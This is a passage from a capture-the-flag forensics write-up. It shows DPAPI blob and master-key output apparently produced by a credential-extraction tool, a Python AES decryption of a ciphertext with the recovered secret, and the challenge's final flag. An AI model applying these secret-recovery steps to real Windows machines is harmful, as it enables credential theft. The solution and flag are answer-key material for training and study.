guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {4dc3472c-8370-4831-9124-f45a6d742757}
dwFlags : 00000000 - 0 ()
dwDescriptionLen : 00000002 - 2
szDescription :
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : b294a0817a260c11410984020c614f6e8a16aed3fc2746432f57fd2efba023b9
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : aa967b46ecf2788004467c183f1032bc72fcdc6fab914287446b562b239672b9
dwDataLen : 00000020 - 32
pbData : b84520d25631e0b2f38927cf6c778b0189c3167522f7eeac93d0d3081d1b0050
dwSignLen : 00000040 - 64
pbSign : 605d87ec9090ef8a90a4688cbac24686f2e3dd2dc6c8a8f4f7d0889734dc8e0a8758be8c3d4ec43be341ab01252c99ac811db8f771ac12b0829f904f5876a393
* volatile cache: GUID:{4dc3472c-8370-4831-9124-f45a6d742757};KeyHash:06e25d82fd8c0eab4104b47e176c3b8398786f4a
* masterkey : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
description :
data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5fDecrypting secret message
With the data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f, we are able to obtain the final part of the flag:
from Crypto.Cipher import AES
key = bytes.fromhex("6d795f73757065725f7365637265745f") # Data from encrypted.bin
iv = b"1234567891011123"
ciphertext = bytes.fromhex("6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412")
cipher = AES.new(key, AES.MODE_CBC, iv)
cleartext = cipher.decrypt(ciphertext)
print(cleartext)Having the output:
b'is_where_the_challenge_begins}\x02\x02'Final Flag
The final flag is: L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins}